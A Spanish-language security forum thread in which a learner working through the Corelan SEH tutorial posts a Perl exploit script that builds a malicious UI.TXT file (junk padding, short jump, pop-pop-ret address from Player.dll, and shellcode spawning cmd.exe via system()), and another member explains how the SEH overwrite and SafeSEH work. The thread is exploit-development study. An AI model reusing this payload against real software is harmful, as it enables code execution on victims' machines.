SEH exploiting

Iniciado por Lodos76, 14 Mayo 2014, 06:24 AM

0 Miembros y 1 Visitante están viendo este tema.

Lodos76

Buenos díaas.

He estado bastante liado con la uni, pero ahora que tengo tiempo :)...
Acabo de terminar el tutorial 3a, que trata sobre SEH, verme el vídeo y mirar el foro de Corelan, pero hay una cosa que no entiendo (lo he puesto en mayúsculas dentro del código).


Código (Perl) [Seleccionar]
=pod
####### EXPLICACIÓN #######

Se sobreescribe el stack con basura hasta antes del SEH chain,
Sobreescribimos el SEH chain con un JMP SHORT 6 y 2 NOPS, con lo cual saltamos 6 bytes (saltamos al próximo SEH handler, no el suyo)
Sobreescribimos el stack con la dirección de un POP POP RET (PERO EN TEORÍA AL HACER UN JMP SHORT 6 YA NO EJECUTARÍA ESTA DIRECCIÓN)
Sobreescribimos a contiuación con la shellcode
Ponemos basura porque queremos
=cut

$uitxt = "UI.TXT";

my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90"; # jump 6 bytes:
  #
  # jmp short 6
  # NOP
  # NOP
my $SEHoverwrite = pack('V', 0x1001e067); # pop pop ret from Player.dll

# Open a console (cmd.exe)
# Size: 48 bytes
my $shellcode = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB" .
"\xC7\x93\xBF\x77" . # Offset de system() en msvcrt.dll --> 0x77BF93C7
"\xFF\xD3";

my $junk2 = "\x90" x 1000;

open(myfile,">$uitxt") ;
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;


Imagen del OllyDbg:



Desde ya muchas gracias.

MCKSys Argentina

El JMP corto es para saltar 6 bytes (los 2 NOPs + los 4 bytes del SEH handler). Asi saltas a tu shellcode.

Ahora, el SEH handler (la direccion del pop-pop-ret), se ejecutará cuando ocurra una excepcion (generalmente es por desborde del stack). Cuando lo haga, el SO ejecutará el codigo indicado por el SEH handler (osea el pop-pop-ret) y el ret será quien saltará al JMP corto.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Lodos76

Cita de: MCKSys Argentina en 14 Mayo 2014, 07:20 AM
El JMP corto es para saltar 6 bytes (los 2 NOPs + los 4 bytes del SEH handler). Asi saltas a tu shellcode.

Ahora, el SEH handler (la direccion del pop-pop-ret), se ejecutará cuando ocurra una excepcion (generalmente es por desborde del stack). Cuando lo haga, el SO ejecutará el codigo indicado por el SEH handler (osea el pop-pop-ret) y el ret será quien saltará al JMP corto.

Saludos!

Hola MCKSys Argentina, gracias por tu respuesta.

Acabo de releerme el PDF.
Vamos a ver,
CitarLlenamos el buffer con 584 bytes, justo antes del SEH chain.
Sobreescribimos el SEH chain con un JMP SHORT 6 (lo que ejecutará mi shellcode).
Sobreescribimos el SEH handler la dirección de un POP-POP-RET de una DLL no compilada con SafeSEH.
Desbordamos TOOOOODO el stack del programa, lo que provoca una excepción, así que se ejecuta el SEH handler.

Pero no lo termino de entender. Tengo 2 preguntas:
1. Si el JMP SHORT 6 ejecuta ya nuestra shellcode, para qué queremos ponerle un POP-POP-RET al SEH handler?
2. He estado buscando sobre SafeSEH en este foro (http://foro.elhacker.net/bugs_y_exploits/duda_con_safeseh-t393112.0.html), y SafeSEH lo que hace es que el SEH handler no pueda ejecutar determinadas DLL del sistema, ya que ntdll.dll no lo permitirá.

MCKSys Argentina

Cita de: Lodos76 en 15 Mayo 2014, 19:21 PM
1. Si el JMP SHORT 6 ejecuta ya nuestra shellcode, para qué queremos ponerle un POP-POP-RET al SEH handler?

La secuencia sería asi:

1) Sobreescribes el stack provocando una excepcion.
2) El SO ejecutara el codigo indicado por el SEH Handler (que haz colocado), el cual es un POP-POP-RET.
3) El RET anterior, saltará a ejecutar el stack, en la direccion donde esta un JMP corto.
4) Tu JMP corto se encarga de saltar los bytes que, de otra forma, romperian el programa, pues tienes 4 bytes que pertenecen al exception handler (los otros 2 son NOPs).

Cita de: Lodos76 en 15 Mayo 2014, 19:21 PM
2. He estado buscando sobre SafeSEH en este foro (http://foro.elhacker.net/bugs_y_exploits/duda_con_safeseh-t393112.0.html), y SafeSEH lo que hace es que el SEH handler no pueda ejecutar determinadas DLL del sistema, ya que ntdll.dll no lo permitirá.

Ni las de sistemas, ni las que esten compiladas con SafeSEH.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Lodos76

#4
Cita de: MCKSys Argentina en 15 Mayo 2014, 21:04 PM
La secuencia sería asi:

1) Sobreescribes el stack provocando una excepcion.
2) El SO ejecutara el codigo indicado por el SEH Handler (que haz colocado), el cual es un POP-POP-RET.
3) El RET anterior, saltará a ejecutar el stack, en la direccion donde esta un JMP corto.
4) Tu JMP corto se encarga de saltar los bytes que, de otra forma, romperian el programa, pues tienes 4 bytes que pertenecen al exception handler (los otros 2 son NOPs).

Ni las de sistemas, ni las que esten compiladas con SafeSEH.

Saludos!

Vamos a ver...

En teoría, se ejecuta el SEH handler, pero cuando haces la prueba para saber si se produce un buffer overflow, el EIP recoge los bytes 585,586,587,588, entonces, en teoría, EIP es el SEH chain...

Aparte, si se ejecuta el SEH handler, ¿por qué funciona el POP POP RET? En teoría el registro ESP ha sido XOReado, y lo que queremos "RETear" no está en el tercer sitio encima de todo el stack.

Lo demás lo entiendo.

Lodos76

Cita de: MCKSys Argentina en 15 Mayo 2014, 21:04 PM
La secuencia sería asi:

1) Sobreescribes el stack provocando una excepcion.
2) El SO ejecutara el codigo indicado por el SEH Handler (que haz colocado), el cual es un POP-POP-RET.
3) El RET anterior, saltará a ejecutar el stack, en la direccion donde esta un JMP corto.
4) Tu JMP corto se encarga de saltar los bytes que, de otra forma, romperian el programa, pues tienes 4 bytes que pertenecen al exception handler (los otros 2 son NOPs).

Ni las de sistemas, ni las que esten compiladas con SafeSEH.

Saludos!



Buenas.

Vuelvo a enviar un post para que recibas la notificación.

He estado leyendo sobre SEH, y mi duda es referente al POP,POP,RET que ejecuta el SEH handler.

En teoría, nuestra pila (a grandes rasgos) está así antes de desbordar la pila:
________________
| Variables locales [ESP = EBP]
|________________ Aquí se ejecutaría mov ebp,esp
| EBP guardado [ESP-16d]
|________________
| RET address [ESP-12d]
|________________
| Parámetros [ESP-8d]
|________________
| SEH chain [ESP-4d]
|________________
| SEH handler [ESP tiene determinado valor, ya que aún no ha sido XOReado]
|________________

Pues bueno, producimos la excepción.
Se XORean los registros --> ESP=0x00000000, EBP=0x00000000, Otros registros=0x00000000

Se ejecuta el SEH handler, es decir, el POP-POP-RET al que apunta, y eso provoca que:
POP -> ESP += 4 -> ESP=0x00000004
POP -> ESP += 4 -> ESP=0x00000008
RET -> RET ESP -> Ejecuta el SEH chain

El tutorial de Corelan dice "(3) Durante el prólogo de manejador, la dirección del puntero al próximo SEH fue puesta en el Stack en ESP+8. pop pop ret pone esta dirección en EIP y permite la ejecución del código en la dirección al próximo SEH".

Entiendo lo que dice, y lo que hace el POP-POP-RET, pero no entiendo cómo relacionar la pila que he puesto al principio del post con lo que explica ahora el tutorial de Corelan.

Podría seguir los tutoriales teniendo esa duda, pero me gustaría saber cómo funciona realmente, por favor.

Muchas gracias.

MCKSys Argentina

Creo que la mejor explicacion la puedes obtener con un debugger.

Si usas Olly, pon un BreakPoint en el SEH Handler y ejecuta hasta que ocurra la excepcion. Con SHIFT+F9 le pasas la excepcion al programa (el debugger la captura antes) y veras lo que ocurre cuando la excepcion se handlea (cuando llegas al pop-pop-ret).

Recuerda que la practica hace al maestro...  ;)

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Lodos76

Cita de: MCKSys Argentina en 20 Mayo 2014, 16:13 PM
Creo que la mejor explicacion la puedes obtener con un debugger.

Si usas Olly, pon un BreakPoint en el SEH Handler y ejecuta hasta que ocurra la excepcion. Con SHIFT+F9 le pasas la excepcion al programa (el debugger la captura antes) y veras lo que ocurre cuando la excepcion se handlea (cuando llegas al pop-pop-ret).

Recuerda que la practica hace al maestro...  ;)

Saludos!

Desde luego, no hubiera comentado si no lo hubiera hecho.

La cosa es que se para en el primer POP, pero ESP NO ES 0x00000000 (ni dea de por qué), y más arriba de la pila (ESP más pequeños), donde apunta ESP, está así la pila:

| Puntero (Return tu ntdll.0xDirección)
| Puntero (apunta a un sitio de la pila actual, que según parece, contiene el valor C0000005)
| Puntero a mi handler